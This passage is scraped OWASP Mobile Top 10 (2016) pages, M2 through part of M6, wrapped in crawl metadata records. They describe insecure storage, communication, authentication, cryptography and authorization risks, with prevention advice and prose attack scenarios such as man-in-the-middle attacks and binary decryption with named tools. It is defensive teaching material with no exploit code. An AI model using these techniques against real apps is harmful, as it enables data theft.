**Detectability AVERAGE**\n\nInsecure data storage vulnerabilities occur when development teams assume that users or malware will not have access to a mobile device’s filesystem and subsequent sensitive information in data-stores on the device. Filesystems are easily accessible. Organizations should expect a malicious user or malware to inspect sensitive data stores. Usage of poor encryption libraries is to be avoided. Rooting or jailbreaking a mobile device circumvents any encryption protections. When data is not protected properly, specialized tools are all that is needed to view application data.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThis can result in data loss, in the best case for one user, and in the worst case for many users. It may also result in the following technical impacts: extraction of the app’s sensitive information via mobile malware, modified apps or forensic tools.\nThe nature of the business impact is highly dependent upon the nature of the information stolen. Insecure data may result in the following business impacts:\n\n- Identity theft;\n- Privacy violation;\n- Fraud;\n- Reputation damage;\n- External policy violation (PCI); or\n- Material loss.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nInsecure data storage vulnerabilities typically lead to the following business risks for the organization that owns the risk app:\n\n- Identity Theft\n- Fraud\n- Reputation Damage\n- External Policy Violation (PCI); or\n- Material Loss.\n\n# Am I Vulnerable To ‘Insecure Data Storage’?\n\nThis category insecure data storage and unintended data leakage. Data stored insecurely includes, but is not limited to, the following:\n\n- SQL databases;\n- Log files;\n- XML data stores ou manifest files;\n- Binary data stores;\n- Cookie stores;\n- SD card;\n- Cloud synced.\n\nUnintended data leakage includes, but is not limited to, vulnerabilities from:\n\n- The OS;\n- Frameworks;\n- Compiler environment;\n- New hardware.\n- Rooted or Jailbroken devices\n\nThis is obviously without a developer’s knowledge. In mobile development specifically, this is most seen in undocumented, or under-documented, internal processes such as:\n\n- The way the OS caches data, images, key-presses, logging, and buffers;\n- The way the development framework caches data, images, key-presses, logging, and buffers;\n- The way or amount of data ad, analytic, social, or enablement frameworks cache data, images, key-presses, logging, and buffers.\n\n# How Do I Prevent ‘Insecure Data Storage’?\n\nIt is important to threat model your mobile app, OS, platforms and frameworks to understand the information assets the app processes and how the APIs handle those assets. It is crucial to see how they handle the following types of features :\n\n- URL caching (both request and response);\n- Keyboard press caching;\n- Copy/Paste buffer caching;\n- Application backgrounding;\n- Intermediate data\n- Logging;\n- HTML5 data storage;\n- Browser cookie objects;\n- Analytics data sent to 3rd parties.\n\n# Example Attack Scenarios\n\n**A Visual Example**\n\niGoat is a purposefully vulnerable mobile app for the security community to explore these types of vulnerabilities first hand. In the exercise below, we enter our credentials and log in to the fake bank app. Then, we navigate to the file system. Within the applications directory, we can see a database called “credentials.sqlite”. Exploring this database reveals that the application is storing our username and credentials (Jason:pleasedontstoremebro!) in plain text.\n\n# References\n\n- OWASP\n - [OWASP iOS Developer Cheat Sheet](https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet)\n- External\n - [Google Androids Developer Security Topics 1](http://source.android.com/tech/security/)\n - [Google Androids Developer Security Topics 2](http://developer.android.com/training/articles/security-tips.html)\n - [Apple’s Introduction to Secure Coding](https://developer.apple.com/library/mac/)\n - [Fortify On Demand Blog - Exploring The OWASP Mobile Top 10: Insecure Data Storage](http://h30499.www3.hp.com/t5/Application-Security-Fortify-on/Exploring-The-OWASP-Mobile-Top-10-M1-Insecure-Data-Storage/ba-p/5904609)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 4955, "slov": 675, "odkazu": 39, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:32", "sha256": "bad9192cd0e2d43e890b6c57121b342b4a47066aa23032e62ca9726e17c781de", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet", "http://source.android.com/tech/security/", "http://developer.android.com/training/articles/security-tips.html", "https://developer.apple.com/library/mac/", "http://h30499.www3.hp.com/t5/Application-Security-Fortify-on/Exploring-The-OWASP-Mobile-Top-10-M1-Insecure-Data-Storage/ba-p/5904609", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m3-insecure-communication", "titulek": "M3: Insecure Communication | OWASP Foundation", "h1": "M3: Insecure Communication", "popis": "M3: Insecure Communication on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2016-risks/m3-insecure-communication", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M3: Insecure Communication on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M3: Insecure Communication | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m3-insecure-communication.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M3: Insecure Communication"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insecure Communication’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insecure Communication’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M3: Insecure Communication\n\n# Threat Agents\n\n**Application Specific**\n\nWhen designing a mobile application, data is commonly exchanged in a client-server fashion. When the solution transmits its data, it must traverse the mobile device’s carrier network and the internet. Threat agents might exploit vulnerabilities to intercept sensitive data while it’s traveling across the wire. The following threat agents exist:\n\n- An adversary that shares your local network (compromised or monitored Wi-Fi);\n- Carrier or network devices (routers, cell towers, proxy’s, etc); or\n- Malware on your mobile device.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nThe exploitabilty factor of monitoring a network for insecure communications ranges. Monitoring traffic over a carrier’s network is harder than that of monitoring a local coffee shop’s traffic. In general, targeted attacks are easier to perform.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability AVERAGE**\n\nMobile applications frequently do not protect network traffic. They may use SSL/TLS during authentication but not elsewhere. This inconsistency leads to the risk of exposing data and session IDs to interception. The use of transport security does not mean the app has implemented it correctly. To detect basic flaws, observe the phone’s network traffic. More subtle flaws require inspecting the design of the application and the applications configuration.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThis flaw exposes an individual user’s data and can lead to account theft. If the adversary intercepts an admin account, the entire site could be exposed. Poor SSL setup can also facilitate phishing and MITM attacks.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nAt a minimum, interception of sensitive data through a communication channel will result in a privacy violation.\n\nThe violation of a user’s confidentiality may result in:\n\n- Identity theft;\n- Fraud, or\n- Reputational Damage.\n\n# Am I Vulnerable To ‘Insecure Communication’?\n\nThis risk covers all aspects of getting data from point A to point B, but doing it insecurely. It encompasses mobile-to-mobile communications, app-to-server communications, or mobile-to-something-else communications. This risk includes all communications technologies that a mobile device might use: TCP/IP, WiFi, Bluetooth/Bluetooth-LE, NFC, audio, infrared, GSM, 3G, SMS, etc.\n\nAll the TLS communications issues go here. All the NFC, Bluetooth, and WiFi issues go here.\n\nThe prominent characteristics include packaging up some kind of sensitive data and transmitting it into or out of the device. Some examples of sensitive data include encryption keys, passwords, private user information, account details, session tokens, documents, metadata, and binaries. The sensitive data can be coming to the device from a server, it can be coming from an app out to a server, or it might be going between the device and something else local (e.g., an NFC terminal or NFC card). The defining characteristic of this risk is the existence of two devices and some data passing between them.\n\nIf the data is being stored locally in the device itself, that’s #Insecure Data. If the session details are communicated securely (e.g., via a strong TLS connection) but the session identifer itself is bad (perhaps it is predictable, low entropy, etc.), then that’s an #Insecure Authentication problem, not a communication problem.\n\nThe usual risks of insecure communication are around data integrity, data confidentiality, and origin integrity. If the data can be changed while in transit, without the change being detectable (e.g., via a man-in-the-middle attack) then that is a good example of this risk. If confidential data can be exposed, learned, or derived by observing the communications as it happens (i.e., eavesdropping) or by recording the conversation as it happens and attacking it later (offline attack), that’s also an insecure communication problem. Failing to properly setup and validate a TLS connection (e.g., certificate checking, weak ciphers, other TLS configuration problems) are all here in insecure communication.\n\n# How Do I Prevent ‘Insecure Communication’?\n\n**General Best Practices**\n\n- Assume that the network layer is not secure and is susceptible to eavesdropping.\n- Apply SSL/TLS to transport channels that the mobile app will use to transmit sensitive information, session tokens, or other sensitive data to a backend API or web service.\n- Account for outside entities like third-party analytics companies, social networks, etc. by using their SSL versions when an application runs a routine via the browser/webkit. Avoid mixed SSL sessions as they may expose the user’s session ID.\n- Use strong, industry standard cipher suites with appropriate key lengths.\n- Use certificates signed by a trusted CA provider.\n- Never allow self-signed certificates, and consider certificate pinning for security conscious applications.\n- Always require SSL chain verification.\n- Only establish a secure connection after verifying the identity of the endpoint server using trusted certificates in the key chain.\n- Alert users through the UI if the mobile app detects an invalid certificate.\n- Do not send sensitive data over alternate channels (e.g, SMS, MMS, or notifications).\n- If possible, apply a separate layer of encryption to any sensitive data before it is given to the SSL channel. In the event that future vulnerabilities are discovered in the SSL implementation, the encrypted data will provide a secondary defense against confidentiality violation.\n\nNewer threats allow an adversary to eavesdrop on sensitive traffic by intercepting the traffic within the mobile device just before the mobile device’s SSL library encrypts and transmits the network traffic to the destination server. See M10 for more information on the nature of this risk.\n\n**iOS Specific Best Practices**\n\nDefault classes in the latest version of iOS handle SSL cipher strength negotiation very well. Trouble comes when developers temporarily add code to bypass these defaults to accommodate development hurdles. In addition to the above general practices:\n\n- Ensure that certificates are valid and fail closed.\n- When using CFNetwork, consider using the Secure Transport API to designate trusted client certificates. In almost all situations, NSStreamSocketSecurityLevelTLSv1 should be used for higher standard cipher strength.\n- After development, ensure all NSURL calls (or wrappers of NSURL) do not allow self signed or invalid certificates such as the NSURL class method setAllowsAnyHTTPSCertificate.\n- Consider using certificate pinning by doing the following: export your certificate, include it in your app bundle, and anchor it to your trust object. Using the NSURL method connection:willSendRequestForAuthenticationChallenge: will now accept your cert.\n\n**Android Specific Best Practices**\n\n- Remove all code after the development cycle that may allow the application to accept all certificates such as org.apache.http.conn.ssl.AllowAllHostnameVerifier or SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER. These are equivalent to trusting all certificates.\n- If using a class which extends SSLSocketFactory, make sure checkServerTrusted method is properly implemented so that server certificate is correctly checked.\n\n# Example Attack Scenarios\n\nThere are a few common scenarios that penetration testers frequently discover when inspecting a mobile app’s communication security:\n\n**Lack of certificate inspection**\n\nThe mobile app and an endpoint successfully connect and perform a TLS handshake to establish a secure channel. However, the mobile app fails to inspect the certificate offered by the server and the mobile app unconditionally accepts any certificate offered to it by the server. This destroys any mutual authentication capability between the mobile app and the endpoint. The mobile app is susceptible to man-in-the-middle attacks through a TLS proxy.\n\n**Weak handshake negotiation**\n\nThe mobile app and an endpoint successfully connect and negotiate a cipher suite as part of the connection handshake. The client successfully negotiates with the server to use a weak cipher suite that results in weak encryption that can be easily decrypted by the adversary. This jeopardizes the confidentiality of the channel between the mobile app and the endpoint.\n\n**Privacy information leakage**\n\nThe mobile app transmits personally identifiable information to an endpoint via non-secure channels instead of over SSL. This jeopardizes the confidentiality of any privacy-related data between the mobile app and the endpoint.\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 8769, "slov": 1275, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:34", "sha256": "0dc8ae2b242c8558a1195587229356884e59bfcb63281442a7f2628e1bd2773d", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m4-insecure-authentication", "titulek": "M4: Insecure Authentication | OWASP Foundation", "h1": "M4: Insecure Authentication", "popis": "M4: Insecure Authentication on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2016-risks/m4-insecure-authentication", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M4: Insecure Authentication on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M4: Insecure Authentication | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m4-insecure-authentication.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M4: Insecure Authentication"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insecure Authentication’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insecure Authentication’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M4: Insecure Authentication\n\n# Threat Agents\n\n**Application Specific**\n\nThreat agents that exploit authentication vulnerabilities typically do so through automated attacks that use available or custom-built tools.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nOnce the adversary understands how the authentication scheme is vulnerable, they fake or bypass authentication by submitting service requests to the mobile app’s backend server and bypass any direct interaction with the mobile app. This submission process is typically done via mobile malware within the device or botnets owned by the attacker.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability AVERAGE**\n\nPoor or missing authentication schemes allow an adversary to anonymously execute functionality within the mobile app or backend server used by the mobile app. Weaker authentication for mobile apps is fairly prevalent due to a mobile device’s input form factor. The form factor highly encourages short passwords that are often purely based on 4-digit PINs.\nAuthentication requirements for mobile apps can be quite different from traditional web authentication schemes due to availability requirements.\n\nIn traditional web apps, users are expected to be online and authenticate in real-time with a backend server. Throughout their session, there is a reasonable expectation that they will have continuous access to the Internet.\n\nIn mobile apps, users are not expected to be online at all times during their session. Mobile internet connections are much less reliable or predictable than traditional web connections. Hence, mobile apps may have uptime requirements that require offline authentication. This offline requirement can have profound ramifications on things that developers must consider when implementing mobile authentication.\n\nTo detect poor authentication schemes, testers can perform binary attacks against the mobile app while it is in ‘offline’ mode. Through the attack, the tester will force the app to bypass offline authentication and then execute functionality that should require offline authentication (for more information on binary attacks, see M10). As well, testers should try to execute any backend server functionality anonymously by removing any session tokens from any POST/GET requests for the mobile app functionality.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThe technical impact of poor authentication is that the solution is unable to identify the user performing an action request. Immediately, the solution will be unable to log or audit user activity because the identity of the user cannot be established. This will contribute to an inability to detect the source of an attack, the nature of any underlying exploits, or how to prevent future attacks.\n\nAuthentication failures may expose underlying authorization failures as well. When authentication controls fail, the solution is unable to verify the user’s identity. This identity is linked to a user’s role and associated permissions. If an attacker is able to anonymously execute sensitive functionality, it highlights that the underlying code is not verifying the permissions of the user issuing the request for the action. Hence, anonymous execution of code highlights failures in both authentication and authorization controls.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThe business impact of poor authentication will typically result in the following at a minimum:\n\n- Reputational Damage\n- Information Theft; or\n- Unauthorized Access to Data.\n\n# Am I Vulnerable To ‘Insecure Authentication’?\n\nThere are many different ways that a mobile app may suffer from insecure authentication:\n\n- If the mobile app is able to anonymously execute a backend API service request without providing an access token, this application suffers from insecure authentication;\n- If the mobile app stores any passwords or shared secrets locally on the device, it most likely suffers from insecure authentication;\n- If the mobile app uses a weak password policy to simplify entering a password, it suffers from insecure authentication; or\n- If the mobile app uses a feature like TouchID, it suffers from insecure authentication.\n\n# How Do I Prevent ‘Insecure Authentication’?\n\n**Avoid Weak Patterns**\n\nAvoid the following Insecure Mobile Application Authentication Design Patterns:\n\n- If you are porting a web application to its mobile equivalent, authentication requirements of mobile applications should match that of the web application component. Therefore, it should not be possible to authenticate with less authentication factors than the web browser;\n- Authenticating a user locally can lead to client-side bypass vulnerabilities. If the application stores data locally, the authentication routine can be bypassed on jailbroken devices through run-time manipulation or modification of the binary. If there is a compelling business requirement for offline authentication, see M10 for additional guidance on preventing binary attacks against the mobile app;\n- Where possible, ensure that all authentication requests are performed server-side. Upon successful authentication, application data will be loaded onto the mobile device. This will ensure that application data will only be available after successful authentication;\n- If client-side storage of data is required, the data will need to be encrypted using an encryption key that is securely derived from the user’s login credentials. This will ensure that the stored application data will only be accessible upon successfully entering the correct credentials. There are additional risks that the data will be decrypted via binary attacks. See M9 for additional guidance on preventing binary attacks that lead to local data theft;\n- Persistent authentication (Remember Me) functionality implemented within mobile applications should never store a user’s password on the device;\n- Ideally, mobile applications should utilize a device-specific authentication token that can be revoked within the mobile application by the user. This will ensure that the app can mitigate unauthorized access from a stolen/lost device;\n- Do not use any spoof-able values for authenticating a user. This includes device identifiers or geo-location;\n- Persistent authentication within mobile applications should be implemented as opt-in and not be enabled by default;\n- If possible, do not allow users to provide 4-digit PIN numbers for authentication passwords.\n\n**Reinforce Authentication**\n\n- Developers should assume all client-side authorization and authentication controls can be bypassed by malicious users. Authorization and authentication controls must be re-enforced on the server-side whenever possible.\n- Due to offline usage requirements, mobile apps may be required to perform local authentication or authorization checks within the mobile app’s code. If this is the case, developers should instrument local integrity checks within their code to detect any unauthorized code changes. See M9 for more information about detecting and reacting to binary attacks.\n\n# Example Attack Scenarios\n\nThe following scenarios showcase weak authentication or authorization controls in mobile apps:\n\n**Scenario #1:** Hidden Service Requests: Developers assume that only authenticated users will be able to generate a service request that the mobile app submits to its backend for processing. During the processing of the request, the server code does not verify that the incoming request is associated with a known user. Hence, adversaries submit service requests to the back-end service and anonymously execute functionality that affects legitimate users of the solution.\n\n**Scenario #2:** Interface Reliance: Developers assume that only authorized users will be able to see the existence of a particular function on their mobile app. Hence, they expect that only legitimately authorized users will be able to issue the request for the service from their mobile device. Back-end code that processes the request does not bother to verify that the identity associated with the request is entitled to execute the service. Hence, adversaries are able to perform remote administrative functionality using fairly low-privilege user accounts.\n\n**Scenario #3:** Usability Requirements: Due to usability requirements, mobile apps allow for passwords that are 4 digits long. Server code correctly stores a hashed version of the password. However, due to the severely short length of the password, an adversary will be able to quickly deduce the original passwords using rainbow hash tables. If the password file (or data store) on the server is compromised, an adversary will be able to quickly deduce users’ passwords.\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/index.php/OWASP_Top_Ten)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 8888, "slov": 1287, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:36", "sha256": "83acfa8e4bffd333baef907de45ae61afb88c1cf822b6e6fd907d696ddbcb95e", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/OWASP_Top_Ten", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m5-insufficient-cryptography", "titulek": "M5: Insufficient Cryptography | OWASP Foundation", "h1": "M5: Insufficient Cryptography", "popis": "M5: Insufficient Cryptography on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2016-risks/m5-insufficient-cryptography", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M5: Insufficient Cryptography on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M5: Insufficient Cryptography | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m5-insufficient-cryptography.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M5: Insufficient Cryptography"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insufficient Cryptography’?"}, {"uroven": 2, "text": "Reliance Upon Built-In Code Encryption Processes"}, {"uroven": 1, "text": "How Do I Prevent ‘Insufficient Cryptography’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M5: Insufficient Cryptography\n\n# Threat Agents\n\n**Application Specific**\n\nThreat agents include the following: anyone with physical access to data that has been encrypted improperly, or mobile malware acting on an adversary’s behalf.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nThe attack vectors correspond to the same attack vectors available through the traditional OWASP Top Ten. Any exposed API call can serve as attack vector here.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability AVERAGE**\n\nIn order to exploit this weakness, an adversary must successfully return encrypted code or sensitive data to its original unencrypted form due to weak encryption algorithms or flaws within the encryption process.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThis vulnerability will result in the unauthorized retrieval of sensitive information from the mobile device.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThis vulnerability can have a number of different business impacts. Typically, broken cryptography will result in the following:\n\n- Privacy Violations;\n- Information Theft;\n- Code Theft;\n- Intellectual Property Theft; or\n- Reputational Damage.\n\n# Am I Vulnerable To ‘Insufficient Cryptography’?\n\nInsecure use of cryptography is common in most mobile apps that leverage encryption. There are two fundamental ways that broken cryptography is manifested within mobile apps. First, the mobile app may use a process behind the encryption / decryption that is fundamentally flawed and can be exploited by the adversary to decrypt sensitive data. Second, the mobile app may implement or leverage an encryption / decryption algorithm that is weak in nature and can be directly decrypted by the adversary. The following subsections explore both of these scenarios in more depth:\n\n## Reliance Upon Built-In Code Encryption Processes\n\nBy default, iOS applications are protected (in theory) from reverse engineering via code encryption. The iOS security model requires that apps be encrypted and signed by trustworthy sources in order to execute in non-jailbroken environments. Upon start-up, the iOS app loader will decrypt the app in memory and proceed to execute the code after its signature has been verified by iOS. This feature, in theory, prevents an attacker from conducting binary attacks against an iOS mobile app.\n\nUsing freely available tools like ClutchMod or GBD, an adversary will download the encrypted app onto their jailbroken device and take a snapshot of the decrypted app once the iOS loader loads it into memory and decrypts it (just before the loader kicks off execution). Once the adversary takes the snapshot and stores it on disk, the adversary can use tools like IDA Pro or Hopper to easily perform static / dynamic analysis of the app and conduct further binary attacks.\n\nBypassing built-in code encryption algorithms is trivial at best. Always assume that an adversary will be able to bypass any built-in code encryption offered by the underlying mobile OS. For more information about additional steps you can take to provide additional layers of reverse engineering prevention, see M9.\n\n**Poor Key Management Processes**\n\nThe best algorithms don’t matter if you mishandle your keys. Many make the mistake of using the correct encryption algorithm, but implementing their own protocol for employing it. Some examples of problems here include:\n\n- Including the keys in the same attacker-readable directory as the encrypted content;\n- Making the keys otherwise available to the attacker;\n- Avoid the use of hardcoded keys within your binary; and\n- Keys may be intercepted via binary attacks. See M10 for more information on preventing binary attacks.\n\n**Creation and Use of Custom Encryption Protocols**\n\nThere is no easier way to mishandle encryption–mobile or otherwise–than to try to create and use your own encryption algorithms or protocols.\n\nAlways use modern algorithms that are accepted as strong by the security community, and whenever possible leverage the state of the art encryption APIs within your mobile platform. Binary attacks may result in adversary identifying the common libraries you have used along with any hardcoded keys in the binary. In cases of very high security requirements around encryption, you should strongly consider the use of whitebox cryptography. See M10 for more information on preventing binary attacks that could lead to the exploitation of common libraries.\n\n**Use of Insecure and/or Deprecated Algorithms**\n\nMany cryptographic algorithms and protocols should not be used because they have been shown to have significant weaknesses or are otherwise insufficient for modern security requirements. These include:\n\n- RC2\n- MD4\n- MD5\n- SHA1\n\n# How Do I Prevent ‘Insufficient Cryptography’?\n\nIt is best to do the following when handling sensitive data:\n\n- Avoid the storage of any sensitive data on a mobile device where possible.\n- Apply cryptographic standards that will withstand the test of time for at least 10 years into the future; and\n- Follow the NIST guidelines on recommended algorithms (see external references).\n\n# Example Attack Scenarios\n\nNone\n\n# References\n\n- OWASP\n - [OWASP Cryptographic Storage Cheat Sheet](https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet)\n - [OWASP Key Management Cheat Sheet](https://www.owasp.org/index.php/Key_Management_Cheat_Sheet)\n- External\n - [NIST Encryption Guidelines](http://csrc.nist.gov/publications/drafts/800-175/sp800-175b_draft.pdf)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 5532, "slov": 796, "odkazu": 37, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:37", "sha256": "7414a8668acc9c880685f43342d6f9a5a7f1a36dbb67f52bd685ba21aa25135b", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet", "https://www.owasp.org/index.php/Key_Management_Cheat_Sheet", "http://csrc.nist.gov/publications/drafts/800-175/sp800-175b_draft.pdf", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m6-insecure-authorization", "titulek": "M6: Insecure Authorization | OWASP Foundation", "h1": "M6: Insecure Authorization", "popis": "M6: Insecure Authorization on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2016-risks/m6-insecure-authorization", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M6: Insecure Authorization on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M6: Insecure Authorization | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m6-insecure-authorization.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M6: Insecure Authorization"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insecure Authorization’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insecure Authorization’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M6: Insecure Authorization\n\n# Threat Agents\n\n**Application Specific**\n\nThreat agents that exploit authorization vulnerabilities typically do so through automated attacks that use available or custom-built tools.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nOnce the adversary understands how the authorization scheme is vulnerable, they login to the application as a legitimate user. They successfully pass the authentication control. Once past authentication, they typically force-browse to a vulnerable endpoint to execute administrative functionality. This submission process is typically done via mobile malware within the device or botnets owned by the attacker.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability AVERAGE**\n\nTo test for poor authorization schemes, testers can perform binary attacks against the mobile app and try to execute privileged functionality that should only be executable with a user of higher privilege while the mobile app is in ‘offline’ mode (for more information on binary attacks, see M9 and M10). As well, testers should try to execute any privileged functionality using a low-privilege session token within the corresponding POST/GET requests for the sensitive functionality to the backend server.Poor or missing authorization schemes allow an adversary to execute functionality they should not be entitled to using an authenticated but lower-privilege user of the mobile app. Authorization requirements are more vulnerable when making authorization decisions within the mobile device instead of through a remote server. This may be a requirement due to mobile requirements of offline usability.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThe technical impact of poor authorization is similar in nature to the technical impact of poor authentication. The technical impact can be wide ranging in nature and dependent upon the nature of the over-privileged functionality that is executed. For example, over-privileged execution of remote 